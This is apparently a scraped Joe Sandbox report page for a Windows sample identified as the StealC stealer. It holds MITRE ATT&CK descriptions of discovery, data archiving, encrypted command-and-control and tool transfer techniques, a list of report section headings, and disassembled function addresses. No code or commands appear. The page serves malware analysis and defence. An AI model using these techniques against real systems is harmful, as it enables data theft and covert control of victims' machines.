Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00399860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00386280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00399C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00395510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 003917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00397500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00381220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00396AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 003978E0 Relevance: 4.5, APIs: 3, Instructions: 40
memoryCOMMON